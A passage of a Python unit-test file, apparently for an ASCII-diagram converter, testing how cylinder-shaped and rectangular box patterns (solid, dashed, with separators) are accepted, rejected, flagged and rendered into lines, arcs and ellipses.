feed_input(p,1,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"-",core.M_NONE))
def test_expects_top_end_apos(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"a",core.M_NONE))
def test_expects_top_end_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"'",core.M_OCCUPIED))
def test_allows_rest_of_second_line(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'")
p.test(main.CurrentChar(1,3,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,4,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,5,"\n",core.M_OCCUPIED))
def test_allows_start_of_third_line(self):
p = self.pclass()
feed_input(p,0,2,".-.\n")
feed_input(p,1,0," '-'\n")
p.test(main.CurrentChar(2,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,1,"x",core.M_OCCUPIED))
def test_expects_mid_start_pipe(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,0,"'",core.M_NONE))
def test_expects_mid_start_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,0,"|",core.M_OCCUPIED))
def test_allows_mid_space(self):
p = self.pclass()
feed_input(p,0,0,".--.\n")
feed_input(p,1,0,"'--'\n")
feed_input(p,2,0,"|")
p.test(main.CurrentChar(2,1,"p",core.M_OCCUPIED))
p.test(main.CurrentChar(2,2,"q",core.M_OCCUPIED))
def test_rejects_short_mid_space_line(self):
p = self.pclass()
feed_input(p,0,0,".--.\n")
feed_input(p,1,0,"'--'\n")
feed_input(p,2,0,"| \n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,0," ",core.M_NONE))
def test_expects_mid_end_pipe(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"p",core.M_NONE))
def test_expects_mid_end_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"|",core.M_OCCUPIED))
def test_allows_end_of_third_line(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |")
p.test(main.CurrentChar(2,3,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,4,"z",core.M_OCCUPIED))
p.test(main.CurrentChar(2,5,"\n",core.M_OCCUPIED))
def test_allows_start_of_last_line(self):
p = self.pclass()
feed_input(p,0,2, ".-.\n")
feed_input(p,1,0," '-'\n")
feed_input(p,2,0," | |\n")
p.test(main.CurrentChar(3,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(3,1,"x",core.M_OCCUPIED))
def test_expects_bottom_start_apos(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,0,"z",core.M_NONE))
def test_expects_bottom_start_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,0,"'",core.M_OCCUPIED))
def test_expects_bottom_line(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,1,"'",core.M_NONE))
def test_expects_bottom_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,1,"-",core.M_OCCUPIED))
def test_rejects_bottom_line_too_short(self):
p = self.pclass()
feed_input(p,0,0,".--.\n")
feed_input(p,1,0,"'--'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,2,"'",core.M_NONE))
def test_rejects_bottom_line_too_long(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,2,"-",core.M_NONE))
def test_expects_bottom_end_apos(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,2,"z",core.M_NONE))
def test_expects_bottom_end_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,2,"'",core.M_OCCUPIED))
def test_allows_rest_of_last_line(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'-'ab\n")
def test_accepts_partial_line_after(self):
p = self.pclass()
feed_input(p,0,0,".--.\n")
feed_input(p,1,0,"'--'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'--'\n")
feed_input(p,4,0,"ab\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(5,0,"c",core.M_NONE))
def test_accepts_no_line_after(self):
p = self.pclass()
feed_input(p,0,0,".--.\n")
feed_input(p,1,0,"'--'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"'--'\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_multiple_mid_lines(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'-'\n")
feed_input(p,2,0,"| |\n")
feed_input(p,3,0,"| |\n")
feed_input(p,4,0,"| |\n")
def test_sets_correct_meta_flags(self):
input = ((2, ".---. \n",),
(0," '---' \n",),
(0," | | \n",),
(0," '---' \n",),
(0," " ,))
c = core.M_OCCUPIED | core.M_BOX_START_S | core.M_BOX_START_E
t = core.M_OCCUPIED | core.M_BOX_START_S
l = core.M_OCCUPIED | core.M_BOX_START_E
n = core.M_NONE
o = core.M_OCCUPIED
r = core.M_BOX_AFTER_E
b = core.M_BOX_AFTER_S
meta = (( c,t,t,t,t,r,n,n,),
(n,n,l,o,o,o,o,r,n,n,),
(n,n,l,n,n,n,o,r,n,n,),
(n,n,l,o,o,o,o,r,n,n,),
(n,n,b,b,b,b,b ))
p = self.pclass()
for j,(startcol,line) in enumerate(input):
for i,char in enumerate(line):
m = p.test(main.CurrentChar(j,startcol+i,char,core.M_NONE))
self.assertEquals(meta[j][i],m)
def do_render(self,x,y,w,h):
p = self.pclass()
feed_input(p,y,x, "." + "-"*w + ".\n")
feed_input(p,y+1,0, " "*x + "'" + "-"*w + "'\n")
for i in range(h):
feed_input(p,y+2+i,0," "*x + "|" + " "*w + "|\n")
feed_input(p,y+2+h,0, " "*x + "'" + "-"*w + "'\n")
feed_input(p,y+2+h+1,0, " "*x + " " + " "*w + " " )
try:
p.test(main.CurrentChar(y+2+h+1,x+1+w+1,"\n",core.M_NONE))
except StopIteration: pass
return p.render()
def test_render_returns_correct_shapes(self):
result = self.do_render(2,2,3,1)
self.assertEquals(4,len(result))
self.assertEquals(1,len(filter(lambda x: isinstance(x,core.Ellipse), result)))
self.assertEquals(1,len(filter(lambda x: isinstance(x,core.Arc), result)))
self.assertEquals(2,len(filter(lambda x: isinstance(x,core.Line), result)))
def test_render_line_coordinates(self):
lines = filter(lambda x: isinstance(x,core.Line), self.do_render(2,2,3,1))
linea = self.find_with(lines,"a",(2.5,3))
self.assertEquals((2.5,5),linea.b)
lineb = self.find_with(lines,"a",(6.5,3))
self.assertEquals((6.5,5),lineb.b)
def test_render_line_coordinates_wider(self):
lines = filter(lambda x: isinstance(x,core.Line), self.do_render(5,1,5,1))
linea = self.find_with(lines,"a",(5.5,2))
self.assertEquals((5.5,4),linea.b)
lineb = self.find_with(lines,"a",(11.5,2))
self.assertEquals((11.5,4),lineb.b)
def test_render_line_coordinates_taller(self):
lines = filter(lambda x: isinstance(x,core.Line), self.do_render(3,2,3,3))
linea = self.find_with(lines,"a",(3.5,3))
self.assertEquals((3.5,7), linea.b)
lineb = self.find_with(lines,"a",(7.5,3))
self.assertEquals((7.5,7), lineb.b)
def test_render_ellipse_coordinates(self):
ellipse = filter(lambda x: isinstance(x,core.Ellipse), self.do_render(2,2,3,1))[0]
self.assertEquals((2.5,2.5),ellipse.a)
self.assertEquals((6.5,3.5),ellipse.b)
def test_render_ellipse_coordinates_wider(self):
ellipse = filter(lambda x: isinstance(x,core.Ellipse), self.do_render(3,2,4,1))[0]
self.assertEquals((3.5,2.5),ellipse.a)
self.assertEquals((8.5,3.5),ellipse.b)
def test_render_ellipse_coordinates_taller(self):
ellipse = filter(lambda x: isinstance(x,core.Ellipse), self.do_render(4,1,3,3))[0]
self.assertEquals((4.5,1.5),ellipse.a)
self.assertEquals((8.5,2.5),ellipse.b)
def test_render_arc_coordinates(self):
arc = filter(lambda x: isinstance(x,core.Arc), self.do_render(2,2,3,1))[0]
self.assertEquals((2.5,4.5),arc.a)
self.assertEquals((6.5,5.5),arc.b)
self.assertEquals(0,arc.start)
self.assertEquals(math.pi,arc.end)
def test_render_arc_coordinates_wider(self):
arc = filter(lambda x: isinstance(x,core.Arc), self.do_render(3,1,4,1))[0]
self.assertEquals((3.5,3.5),arc.a)
self.assertEquals((8.5,4.5),arc.b)
self.assertEquals(0,arc.start)
self.assertEquals(math.pi,arc.end)
def test_render_arc_coordinates_taller(self):
arc = filter(lambda x: isinstance(x,core.Arc), self.do_render(2,2,3,4))[0]
self.assertEquals((2.5,7.5),arc.a)
self.assertEquals((6.5,8.5),arc.b)
self.assertEquals(0,arc.start)
self.assertEquals(math.pi,arc.end)
def test_render_z(self):
result = self.do_render(2,2,3,4)
for r in result:
self.assertEquals(0,r.z)
def test_render_stroke_colour(self):
result = self.do_render(2,2,3,4)
for r in result:
self.assertEquals(core.C_FOREGROUND,r.stroke)
def test_render_stroke_width(self):
result = self.do_render(2,2,3,4)
for r in result:
self.assertEquals(1,r.w)
def test_render_stroke_style(self):
result = self.do_render(2,2,3,4)
for r in result:
self.assertEquals(core.STROKE_SOLID,r.stype)
def test_render_fill_colour(self):
result = filter(lambda x: not isinstance(x,core.Line), self.do_render(2,2,3,4))
for r in result:
self.assertEquals(None,r.fill)
class TestStraightRectangularBoxPattern(unittest.TestCase,PatternTests):
def __init__(self,*args,**kargs):
unittest.TestCase.__init__(self,*args,**kargs)
self.pclass = patterns.StraightRectangularBoxPattern
def test_accepts_box(self):
p = self.pclass()
feed_input(p,0,2, "+-----+ \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," +-----+ \n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,9," ",core.M_NONE))
def test_expects_top_left_plus(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,2,"?",core.M_NONE))
def test_expects_top_left_plus_unoccupied(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,2,"+",core.M_OCCUPIED))
def test_expects_top_hyphen(self):
p = self.pclass()
feed_input(p,0,2,"+")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,3,"+",core.M_NONE))
def test_expects_top_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,0,2,"+")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,3,"-",core.M_OCCUPIED))
def test_allows_single_char_width(self):
p = self.pclass()
feed_input(p,0,2,"+-+")
def test_expects_top_right_plus(self):
p = self.pclass()
feed_input(p,0,2,"+-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4,"?",core.M_NONE))
def test_expects_top_right_plus_unoccupied(self):
p = self.pclass()
feed_input(p,0,2,"+-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4,"+",core.M_OCCUPIED))
def test_allows_long_width(self):
p = self.pclass()
feed_input(p,0,2,"+-------------+")
def test_allows_rest_of_first_line(self):
p = self.pclass()
feed_input(p,0,2,"+---+")
p.test(main.CurrentChar(0,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(0,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(0,9,"\n",core.M_OCCUPIED))
def test_allows_start_of_second_line(self):
p = self.pclass()
feed_input(p,0,2,"+---+\n")
p.test(main.CurrentChar(1,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,1,"b",core.M_OCCUPIED))
def test_expects_left_pipe(self):
p = self.pclass()
feed_input(p,0,2,"+---+\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"+",core.M_NONE))
def test_expects_left_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,0,2,"+---+\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"|",core.M_OCCUPIED))
def test_allows_box_contents(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," |")
p.test(main.CurrentChar(1,3,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,4,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,5,"c",core.M_OCCUPIED))
def test_rejects_short_content_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,"\n",core.M_NONE))
def test_expects_right_pipe(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,"a",core.M_NONE))
def test_expects_right_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,"|",core.M_OCCUPIED))
def test_allows_rest_of_second_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |")
p.test(main.CurrentChar(1,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,9,"\n",core.M_OCCUPIED))
def test_allows_start_of_bottom_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
p.test(main.CurrentChar(2,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,1,"b",core.M_OCCUPIED))
def test_allows_single_char_height(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +")
def test_expects_bottom_left_plus(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"?",core.M_NONE))
def test_expects_bottom_left_plus_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"+",core.M_OCCUPIED))
def test_allows_long_height(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," | |\n")
feed_input(p,3,0," | |\n")
feed_input(p,4,0," +")
def test_expects_bottom_hyphen(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,3,"+",core.M_NONE))
def test_expects_bottom_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,3,"-",core.M_OCCUPIED))
def test_expects_bottom_right_plus(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +---")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"-",core.M_NONE))
def test_expects_bottom_right_plus_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +---")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"+",core.M_OCCUPIED))
def test_allows_rest_of_bottom_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +---+")
p.test(main.CurrentChar(2,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,9,"\n",core.M_OCCUPIED))
def test_allows_final_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +---+\n")
for i in range(7):
p.test(main.CurrentChar(3,i,"z",core.M_OCCUPIED))
def test_allows_no_final_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +---+\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_short_final_line(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," +---+\n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,4,"\n",core.M_NONE))
def test_allowed_to_touch_left_edge(self):
p = self.pclass()
feed_input(p,0,0,"+---+\n")
feed_input(p,1,0,"| |\n")
feed_input(p,2,0,"+---+\n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,5,"\n",core.M_NONE))
def test_allowed_to_touch_bottom_left_corner(self):
p = self.pclass()
feed_input(p,0,0,"+---+\n")
feed_input(p,1,0,"| |\n")
feed_input(p,2,0,"+---+\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_h_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |----|\n")
def test_expects_continuation_of_h_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4," ",core.M_NONE))
def test_expects_continuation_of_h_separator_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"-",core.M_OCCUPIED))
def test_allows_non_separator_h_line(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," | ---|\n")
def test_allows_h_non_separator_start_if_occupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |")
p.test(main.CurrentChar(2,3,"-",core.M_OCCUPIED))
feed_input(p,2,4,"---|\n")
def test_doesnt_assume_h_separator_if_first_row(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," |--- |\n")
def test_doesnt_assume_h_separator_if_section_too_small(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |----|\n")
feed_input(p,3,0," |-- |\n")
def test_allows_multiple_h_separators(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |----|\n")
feed_input(p,3,0," | |\n")
feed_input(p,4,0," |----|\n")
def test_allows_v_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," | | |\n")
feed_input(p,3,0," +----+\n")
def test_expects_continuation_of_v_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5," ",core.M_NONE))
def test_expects_continuation_of_v_separator_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"|",core.M_OCCUPIED))
def test_allows_non_separator_v_line(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," | | |\n")
feed_input(p,3,0," | | |\n")
feed_input(p,4,0," +----+\n")
def test_allows_v_non_separator_start_if_occupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | ")
p.test(main.CurrentChar(1,5,"|",core.M_OCCUPIED))
feed_input(p,1,6," |\n")
def test_allows_multiple_v_separators(self):
p = self.pclass()
feed_input(p,0,2, "+-----+\n")
feed_input(p,1,0," | | | |\n")
feed_input(p,2,0," | | | |\n")
feed_input(p,3,0," +-----+\n")
def test_doesnt_assume_v_separator_if_first_col(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," || |\n")
feed_input(p,2,0," || |\n")
feed_input(p,3,0," | |\n")
def test_doesnt_assume_v_separator_if_section_too_small(self):
p = self.pclass()
feed_input(p,0,2, "+-----+\n")
feed_input(p,1,0," | || |\n")
feed_input(p,2,0," | || |\n")
feed_input(p,3,0," | | |\n")
def test_allows_crossing_separators(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |----|\n")
feed_input(p,3,0," | | |\n")
feed_input(p,4,0," +----+\n")
def test_expects_line_at_separator_intersection(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"+",core.M_NONE))
def test_expects_line_at_separator_intersection_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"-",core.M_OCCUPIED))
def test_allows_vertical_line_at_separator_intersection(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |--|-|\n")
def test_allows_single_character_sections(self):
p = self.pclass()
feed_input(p,0,2, "+-----+\n")
feed_input(p,1,0," | | | |\n")
feed_input(p,2,0," |-----|\n")
feed_input(p,3,0," | | | |\n")
feed_input(p,4,0," |-----|\n")
feed_input(p,5,0," | | | |\n")
feed_input(p,6,0," +-----+\n")
def test_allows_dashed_box(self):
p = self.pclass()
feed_input(p,0,2, "+- - - - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ; ;\n")
feed_input(p,3,0," +- - - - +\n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,12," ",core.M_NONE))
def test_expects_top_dash_continuation(self):
p = self.pclass()
feed_input(p,0,2, "+- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,6,"-",core.M_NONE))
def test_expects_top_dash_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4," ",core.M_OCCUPIED))
def test_top_expects_complete_dashes(self):
p = self.pclass()
feed_input(p,0,2, "+- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,6,"+",core.M_NONE))
def test_expects_dashed_left_side(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"|",core.M_NONE))
def test_expects_dashed_left_side_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,";",core.M_OCCUPIED))
def test_expects_dashed_right_side(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,"|",core.M_NONE))
def test_expects_dashed_right_side_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,";",core.M_OCCUPIED))
def test_expects_dashed_left_side_second_line(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"|",core.M_NONE))
def test_expects_dashed_left_side_second_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,";",core.M_OCCUPIED))
def test_expects_dashed_right_side_second_line(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,7,"|",core.M_NONE))
def test_expects_dashed_right_side_second_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,7,";",core.M_OCCUPIED))
def test_expects_dashed_bottom_line(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," +-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"-",core.M_NONE))
def test_expects_dashed_bottom_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+- - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," +-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4," ",core.M_OCCUPIED))
def test_expects_dashed_bottom_line_continuation(self):
p = self.pclass()
feed_input(p,0,2, "+- - - - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," +- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"-",core.M_NONE))
def test_expects_dashed_bottom_line_continuation_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+- - - - +\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," +- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6," ",core.M_OCCUPIED))
def test_dashed_box_allows_separators(self):
p = self.pclass()
feed_input(p,0,2, "+- - - - - - +\n")
feed_input(p,1,0," ; | | ;\n")
feed_input(p,2,0," ;--------|---;\n")
feed_input(p,3,0," ; | | ;\n")
feed_input(p,4,0," +- - - - - - +\n")
def test_sets_correct_meta_flags(self):
p = self.pclass()
input = ((2, "+---+ \n",),
(0," |+||| \n",),
(0," |---| \n",),
(0," |-| | \n",),
(0," +---+ \n",),
(0," ", ),)
c = core.M_BOX_START_S | core.M_BOX_START_E | core.M_OCCUPIED
t = core.M_BOX_START_S | core.M_OCCUPIED
l = core.M_BOX_START_E | core.M_OCCUPIED
o = core.M_OCCUPIED
n = core.M_NONE
r = core.M_BOX_AFTER_E
b = core.M_BOX_AFTER_S
outmeta = (( c,t,t,t,t,r,n,n,),
(n,n,l,n,o,n,o,r,n,n,),
(n,n,l,o,o,o,o,r,n,n,),
(n,n,l,n,o,n,o,r,n,n,),
(n,n,l,o,o,o,o,r,n,n,),
(n,n,b,b,b,b,b, ),)
for j,(startcol,line) in enumerate(input):
for i,char in enumerate(line):
m = outmeta[j][i]
self.assertEquals(m, p.test(main.CurrentChar(j,startcol+i,char,core.M_NONE)))
def do_render(self,x,y,w,h,hs=[],vs=[],dash=False):
p = self.pclass()
feed_input(p,y,x,"+" + (("- "*(w//2)) if dash else ("-"*w)) + "+\n")
for i in range(h):
feed_input(p,y+1+i,0," "*x + (";" if dash else "|"))
for n in range(w):
chr = {
(True,True): "-",
(True,False): "-",
(False,True): "|",
(False,False): " "
}[(i in hs,n in vs)]
feed_input(p,y+1+i,x+1+n, chr)
feed_input(p,y+1+i,x+1+w, (";" if dash else "|")+"\n")
feed_input(p,y+1+h+0,0," "*x + "+" + (("- "*(w//2)) if dash else ("-"*w)) + "+\n")
feed_input(p,y+1+h+1,0," "*x + " " + " "*w + " ")
try:
